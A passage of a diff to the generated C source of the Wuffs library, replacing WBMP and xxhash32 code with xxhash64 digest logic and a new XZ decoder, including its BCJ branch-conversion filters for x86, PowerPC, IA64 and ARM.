+-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_wbmp__decoder__workbuf_len( +- const wuffs_wbmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if ((self->private_impl.f_length_modulo_u64 >= 32u) || self->private_impl.f_length_overflows_u64) { ++ v_ret += (((uint64_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 63u)); ++ v_ret += (((uint64_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 57u)); ++ v_ret += (((uint64_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 52u)); ++ v_ret += (((uint64_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 46u)); ++ v_v0 = ((uint64_t)(self->private_impl.f_v0 * 14029467366897019727u)); ++ v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); ++ v_v0 *= 11400714785074694791u; ++ v_v1 = ((uint64_t)(self->private_impl.f_v1 * 14029467366897019727u)); ++ v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); ++ v_v1 *= 11400714785074694791u; ++ v_v2 = ((uint64_t)(self->private_impl.f_v2 * 14029467366897019727u)); ++ v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); ++ v_v2 *= 11400714785074694791u; ++ v_v3 = ((uint64_t)(self->private_impl.f_v3 * 14029467366897019727u)); ++ v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); ++ v_v3 *= 11400714785074694791u; ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v0) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v1) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v2) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v3) * 11400714785074694791u)) + 9650029242287828579u)); ++ v_ret += self->private_impl.f_length_modulo_u64; ++ } else { ++ v_ret += 2870177450012600261u; ++ v_ret += self->private_impl.f_length_modulo_u64; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ v_n = 32u; ++ v_n = wuffs_base__u32__min(v_n, self->private_impl.f_buf_len); ++ if (8u <= v_n) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); ++ v_buf_u64 *= 14029467366897019727u; ++ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); ++ v_buf_u64 *= 11400714785074694791u; ++ v_ret ^= v_buf_u64; ++ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); ++ v_ret *= 11400714785074694791u; ++ v_ret += 9650029242287828579u; ++ v_i = 8u; + } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ if (16u <= v_n) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); ++ v_buf_u64 *= 14029467366897019727u; ++ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); ++ v_buf_u64 *= 11400714785074694791u; ++ v_ret ^= v_buf_u64; ++ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); ++ v_ret *= 11400714785074694791u; ++ v_ret += 9650029242287828579u; ++ v_i = 16u; ++ } ++ if (24u <= v_n) { ++ v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | ++ (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | ++ (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | ++ (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | ++ (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | ++ (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | ++ (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | ++ (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); ++ v_buf_u64 *= 14029467366897019727u; ++ v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); ++ v_buf_u64 *= 11400714785074694791u; ++ v_ret ^= v_buf_u64; ++ v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); ++ v_ret *= 11400714785074694791u; ++ v_ret += 9650029242287828579u; ++ v_i = 24u; ++ } ++ if ((v_n & 4u) != 0u) { ++ v_i8 = (v_i & 24u); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 0u)])) | ++ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 1u)])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 2u)])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 3u)])) << 24u)); ++ v_ret ^= ((uint64_t)(((uint64_t)(v_buf_u32)) * 11400714785074694791u)); ++ v_ret = (((uint64_t)(v_ret << 23u)) | (v_ret >> 41u)); ++ v_ret *= 14029467366897019727u; ++ v_ret += 1609587929392839161u; ++ v_i = (v_i8 + 4u); ++ } ++ while (v_i < v_n) { ++ v_ret ^= ((uint64_t)(((uint64_t)(self->private_impl.f_buf_data[v_i])) * 2870177450012600261u)); ++ v_ret = (((uint64_t)(v_ret << 11u)) | (v_ret >> 53u)); ++ v_ret *= 11400714785074694791u; ++ v_i += 1u; ++ } ++ v_ret ^= (v_ret >> 33u); ++ v_ret *= 14029467366897019727u; ++ v_ret ^= (v_ret >> 29u); ++ v_ret *= 1609587929392839161u; ++ v_ret ^= (v_ret >> 32u); ++ return ((uint64_t)(v_ret)); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) + + // ---------------- Status Codes Implementations + +-// ---------------- Private Consts ++const char wuffs_xz__error__bad_bcj_offset[] = "#xz: bad BCJ offset"; ++const char wuffs_xz__error__bad_block_header[] = "#xz: bad block header"; ++const char wuffs_xz__error__bad_checksum[] = "#xz: bad checksum"; ++const char wuffs_xz__error__bad_filter[] = "#xz: bad filter"; ++const char wuffs_xz__error__bad_footer[] = "#xz: bad footer"; ++const char wuffs_xz__error__bad_header[] = "#xz: bad header"; ++const char wuffs_xz__error__bad_header_concatenated_stream[] = "#xz: bad header (concatenated stream)"; ++const char wuffs_xz__error__bad_index[] = "#xz: bad index"; ++const char wuffs_xz__error__bad_padding[] = "#xz: bad padding"; ++const char wuffs_xz__error__truncated_input[] = "#xz: truncated input"; ++const char wuffs_xz__error__unsupported_checksum_algorithm[] = "#xz: unsupported checksum algorithm"; ++const char wuffs_xz__error__unsupported_filter[] = "#xz: unsupported filter"; ++const char wuffs_xz__error__unsupported_filter_combination[] = "#xz: unsupported filter combination"; ++const char wuffs_xz__error__internal_error_inconsistent_bcj_filter_state[] = "#xz: internal error: inconsistent BCJ filter state"; + +-#define WUFFS_XXHASH32__XXH_PRIME32_1 2654435761 ++// ---------------- Private Consts + +-#define WUFFS_XXHASH32__XXH_PRIME32_2 2246822519 ++static const bool ++WUFFS_XZ__FILTER_04_X86_MASK_TO_ALLOWED_STATUS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 1u, 1u, 0u, 1u, 0u, 0u, 0u, ++}; + +-#define WUFFS_XXHASH32__XXH_PRIME32_3 3266489917 ++static const uint8_t ++WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 2u, 3u, 3u, 3u, 3u, ++}; + +-#define WUFFS_XXHASH32__XXH_PRIME32_4 668265263 ++static const uint32_t ++WUFFS_XZ__FILTER_04_X86_MASK_TO_XOR_OPERAND[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 4294967295u, 16777215u, 65535u, 65535u, 255u, 255u, 255u, 255u, ++}; + +-#define WUFFS_XXHASH32__XXH_PRIME32_5 374761393 ++static const uint8_t ++WUFFS_XZ__FILTER_06_IA64_BRANCH_TABLE[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 4u, 4u, 6u, 6u, 0u, 0u, 7u, 7u, ++ 4u, 4u, 0u, 0u, 4u, 4u, 0u, 0u, ++}; + +-#define WUFFS_XXHASH32__INITIAL_V0 606290984 ++#define WUFFS_XZ__QUIRKS_BASE 2021322752u + +-#define WUFFS_XXHASH32__INITIAL_V1 2246822519 ++static const uint8_t ++WUFFS_XZ__CHECKSUM_LENGTH[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 4u, 8u, 32u, ++}; + +-#define WUFFS_XXHASH32__INITIAL_V2 0 ++static const uint8_t ++WUFFS_XZ__ZEROES[3] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, ++}; + +-#define WUFFS_XXHASH32__INITIAL_V3 1640531535 ++static const uint8_t ++WUFFS_XZ__BCJ_OFFSET_ALIGNMENT[12] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 0u, 0u, 1u, 4u, 16u, 4u, ++ 2u, 4u, 4u, 2u, ++}; + + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_xxhash32__hasher__up( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x); ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters__choosy_default( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_04_x86( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_05_powerpc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_06_ia64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_07_arm( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_08_armthumb( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_09_sparc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0a_arm64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_0b_riscv( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__do_transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_with_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_sans_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__verify_index( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__verify_footer( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src); + + // ---------------- VTables + +-const wuffs_base__hasher_u32__func_ptrs +-wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { +- (uint32_t(*)(const void*))(&wuffs_xxhash32__hasher__checksum_u32), ++const wuffs_base__io_transformer__func_ptrs ++wuffs_xz__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_xz__decoder__dst_history_retain_length), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_xxhash32__hasher__get_quirk), ++ uint32_t))(&wuffs_xz__decoder__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_xxhash32__hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update), +- (uint32_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update_u32), ++ uint64_t))(&wuffs_xz__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_xz__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_xz__decoder__workbuf_len), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash32__hasher__initialize( +- wuffs_xxhash32__hasher* self, ++wuffs_xz__decoder__initialize( ++ wuffs_xz__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -61482,23 +76592,53 @@ wuffs_xxhash32__hasher__initialize( + } + } + ++ self->private_impl.choosy_apply_non_final_filters = &wuffs_xz__decoder__apply_non_final_filters__choosy_default; ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_crc64__ecma_hasher__initialize( ++ &self->private_data.f_crc64, sizeof(self->private_data.f_crc64), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_sha256__hasher__initialize( ++ &self->private_data.f_sha256, sizeof(self->private_data.f_sha256), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_lzma__decoder__initialize( ++ &self->private_data.f_lzma, sizeof(self->private_data.f_lzma), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = +- wuffs_base__hasher_u32__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = +- (const void*)(&wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32); ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_xz__decoder__func_ptrs_for__wuffs_base__io_transformer); + return wuffs_base__make_status(NULL); + } + +-wuffs_xxhash32__hasher* +-wuffs_xxhash32__hasher__alloc(void) { +- wuffs_xxhash32__hasher* x = +- (wuffs_xxhash32__hasher*)(calloc(sizeof(wuffs_xxhash32__hasher), 1)); ++wuffs_xz__decoder* ++wuffs_xz__decoder__alloc(void) { ++ wuffs_xz__decoder* x = ++ (wuffs_xz__decoder*)(calloc(1, sizeof(wuffs_xz__decoder))); + if (!x) { + return NULL; + } +- if (wuffs_xxhash32__hasher__initialize( +- x, sizeof(wuffs_xxhash32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_xz__decoder__initialize( ++ x, sizeof(wuffs_xz__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -61506,18 +76646,511 @@ wuffs_xxhash32__hasher__alloc(void) { + } + + size_t +-sizeof__wuffs_xxhash32__hasher(void) { +- return sizeof(wuffs_xxhash32__hasher); ++sizeof__wuffs_xz__decoder(void) { ++ return sizeof(wuffs_xz__decoder); + } + + // ---------------- Function Implementations + +-// -------- func xxhash32.hasher.get_quirk ++// -------- func xz.decoder.apply_non_final_filters ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ return (*self->private_impl.choosy_apply_non_final_filters)(self, a_dst_slice); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_non_final_filters__choosy_default( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ uint32_t v_f = 0; ++ uint64_t v_i = 0; ++ uint32_t v_filter_id = 0; ++ uint32_t v_delta_dist = 0; ++ uint32_t v_delta_pos = 0; ++ uint8_t v_c8 = 0; ++ ++ if (self->private_impl.f_num_non_final_filters <= 0u) { ++ return 0u; ++ } ++ v_f = (self->private_impl.f_num_non_final_filters - 1u); ++ while (true) { ++ v_filter_id = (self->private_impl.f_filters[v_f] & 127u); ++ if (v_filter_id == 3u) { ++ v_delta_dist = (((self->private_impl.f_filters[v_f] >> 8u) & 255u) + 1u); ++ v_delta_pos = (self->private_impl.f_filters[v_f] >> 24u); ++ v_i = 0u; ++ while (v_i < ((uint64_t)(a_dst_slice.len))) { ++ v_c8 = a_dst_slice.ptr[v_i]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_c8 += self->private_data.f_filter_data[v_f][(((uint32_t)(v_delta_dist + v_delta_pos)) & 255u)]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ self->private_data.f_filter_data[v_f][(v_delta_pos & 255u)] = v_c8; ++ v_delta_pos -= 1u; ++ a_dst_slice.ptr[v_i] = v_c8; ++ v_i += 1u; ++ } ++ self->private_impl.f_filters[v_f] &= 65535u; ++ self->private_impl.f_filters[v_f] |= ((uint32_t)(v_delta_pos << 24u)); ++ } ++ if (v_f <= 0u) { ++ break; ++ } ++ v_f -= 1u; ++ } ++ return 0u; ++} ++ ++// -------- func xz.decoder.apply_filter_04_x86 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_04_x86( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint64_t v_i = 0; ++ uint64_t v_prev_pos = 0; ++ uint32_t v_prev_mask = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_src = 0; ++ uint32_t v_dst = 0; ++ uint32_t v_bit_num = 0; ++ ++ v_s = a_dst_slice; ++ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 5u)); ++ v_prev_pos = 18446744073709551615u; ++ v_prev_mask = self->private_impl.f_bcj_x86_prev_mask; ++ while (((uint64_t)(v_s.len)) >= 5u) { ++ if (((uint8_t)(v_s.ptr[0u] & 254u)) != 232u) { ++ v_i += 1u; ++ v_p += 1u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ continue; ++ } ++ v_prev_pos = ((uint64_t)(v_i - v_prev_pos)); ++ if (v_prev_pos > 3u) { ++ v_prev_mask = 0u; ++ } else if (v_prev_pos > 0u) { ++ v_prev_mask = (((uint32_t)(v_prev_mask << (v_prev_pos - 1u))) & 7u); ++ if (v_prev_mask != 0u) { ++ v_c8 = v_s.ptr[((uint8_t)(4u - WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[(v_prev_mask & 7u)]))]; ++ if ( ! WUFFS_XZ__FILTER_04_X86_MASK_TO_ALLOWED_STATUS[(v_prev_mask & 7u)] || (v_c8 == 0u) || (v_c8 == 255u)) { ++ v_prev_pos = v_i; ++ v_prev_mask = (((uint32_t)(v_prev_mask << 1u)) | 1u); ++ v_i += 1u; ++ v_p += 1u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ continue; ++ } ++ } ++ } ++ v_prev_pos = v_i; ++ v_c8 = v_s.ptr[4u]; ++ if ((v_c8 != 0u) && (v_c8 != 255u)) { ++ v_prev_mask = (((uint32_t)(v_prev_mask << 1u)) | 1u); ++ v_i += 1u; ++ v_p += 1u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ continue; ++ } ++ v_src = ((((uint32_t)(v_s.ptr[1u])) << 0u) | ++ (((uint32_t)(v_s.ptr[2u])) << 8u) | ++ (((uint32_t)(v_s.ptr[3u])) << 16u) | ++ (((uint32_t)(v_s.ptr[4u])) << 24u)); ++ while (true) { ++ v_dst = ((uint32_t)(v_src - v_p)); ++ if (v_prev_mask == 0u) { ++ break; ++ } ++ v_bit_num = ((uint32_t)(WUFFS_XZ__FILTER_04_X86_MASK_TO_BIT_NUM[(v_prev_mask & 7u)])); ++ v_c8 = ((uint8_t)((v_dst >> (24u - (v_bit_num * 8u))))); ++ if ((v_c8 != 0u) && (v_c8 != 255u)) { ++ break; ++ } ++ v_src = (v_dst ^ WUFFS_XZ__FILTER_04_X86_MASK_TO_XOR_OPERAND[(v_prev_mask & 7u)]); ++ } ++ v_dst &= 33554431u; ++ v_dst |= ((uint32_t)(0u - (v_dst & 16777216u))); ++ v_s.ptr[1u] = ((uint8_t)((v_dst >> 0u))); ++ v_s.ptr[2u] = ((uint8_t)((v_dst >> 8u))); ++ v_s.ptr[3u] = ((uint8_t)((v_dst >> 16u))); ++ v_s.ptr[4u] = ((uint8_t)((v_dst >> 24u))); ++ v_i += 5u; ++ v_p += 5u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 5u); ++ } ++ v_prev_pos = ((uint64_t)(v_i - v_prev_pos)); ++ if (v_prev_pos > 3u) { ++ self->private_impl.f_bcj_x86_prev_mask = 0u; ++ } else if (v_prev_pos > 0u) { ++ self->private_impl.f_bcj_x86_prev_mask = ((uint32_t)(v_prev_mask << (v_prev_pos - 1u))); ++ } ++ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 5u)); ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_05_powerpc ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_05_powerpc( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 24u) | ++ (((uint32_t)(v_s.ptr[1u])) << 16u) | ++ (((uint32_t)(v_s.ptr[2u])) << 8u) | ++ (((uint32_t)(v_s.ptr[3u])) << 0u)); ++ if ((v_x & 4227858435u) == 1207959553u) { ++ v_x = ((((uint32_t)((v_x & 67108860u) - v_p)) & 67108860u) | 1207959553u); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 24u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 16u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[3u] = ((uint8_t)((v_x >> 0u))); ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_06_ia64 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_06_ia64( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_slot = 0; ++ uint32_t v_bit_pos = 0; ++ uint32_t v_byte_pos = 0; ++ uint32_t v_bit_res = 0; ++ uint64_t v_x = 0; ++ uint32_t v_j = 0; ++ uint64_t v_norm = 0; ++ uint32_t v_addr = 0; ++ ++ v_s = a_dst_slice; ++ v_p = self->private_impl.f_bcj_pos; ++ while (((uint64_t)(v_s.len)) >= 16u) { ++ v_mask = ((uint32_t)(WUFFS_XZ__FILTER_06_IA64_BRANCH_TABLE[((uint8_t)(v_s.ptr[0u] & 31u))])); ++ v_slot = 0u; ++ while (true) { ++ do { ++ if (((v_mask >> v_slot) & 1u) == 0u) { ++ break; ++ } ++ v_bit_pos = ((v_slot * 41u) + 5u); ++ v_byte_pos = (v_bit_pos >> 3u); ++ v_bit_res = (v_bit_pos & 7u); ++ v_x = 0u; ++ v_j = 0u; ++ while (v_j < 6u) { ++ v_x |= (((uint64_t)(v_s.ptr[(v_j + v_byte_pos)])) << (8u * v_j)); ++ v_j += 1u; ++ } ++ v_norm = (v_x >> v_bit_res); ++ if ((((v_norm >> 37u) & 15u) != 5u) || (((v_norm >> 9u) & 7u) != 0u)) { ++ break; ++ } ++ v_addr = ((uint32_t)(((v_norm >> 13u) & 1048575u))); ++ v_addr |= (((uint32_t)(((v_norm >> 36u) & 1u))) << 20u); ++ v_addr <<= 4u; ++ v_addr -= v_p; ++ v_addr >>= 4u; ++ v_norm &= 18446743996400148479u; ++ v_norm |= (((uint64_t)((v_addr & 1048575u))) << 13u); ++ v_norm |= (((uint64_t)((v_addr & 1048576u))) << 16u); ++ v_x &= ((((uint64_t)(1u)) << v_bit_res) - 1u); ++ v_x |= ((uint64_t)(v_norm << v_bit_res)); ++ v_j = 0u; ++ while (v_j < 6u) { ++ v_s.ptr[(v_j + v_byte_pos)] = ((uint8_t)((v_x >> (8u * v_j)))); ++ v_j += 1u; ++ } ++ } while (0); ++ if (v_slot >= 2u) { ++ break; ++ } ++ v_slot += 1u; ++ } ++ v_p += 16u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 16u); ++ } ++ self->private_impl.f_bcj_pos = v_p; ++ return ((uint8_t)(((uint64_t)(v_s.len)))); ++} ++ ++// -------- func xz.decoder.apply_filter_07_arm ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_xz__decoder__apply_filter_07_arm( ++ wuffs_xz__decoder* self, ++ wuffs_base__slice_u8 a_dst_slice) { ++ wuffs_base__slice_u8 v_s = {0}; ++ uint32_t v_p = 0; ++ uint32_t v_x = 0; ++ ++ v_s = a_dst_slice; ++ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 8u)); ++ while (((uint64_t)(v_s.len)) >= 4u) { ++ if (v_s.ptr[3u] == 235u) { ++ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | ++ (((uint32_t)(v_s.ptr[1u])) << 8u) | ++ (((uint32_t)(v_s.ptr[2u])) << 16u) | ++ (((uint32_t)(v_s.ptr[3u])) << 24u)); ++ v_x = (((uint32_t)(((v_x & 16777215u) << 2u) - v_p)) >> 2u); ++ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); ++ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); ++ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); ++ } ++ v_p += 4u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ 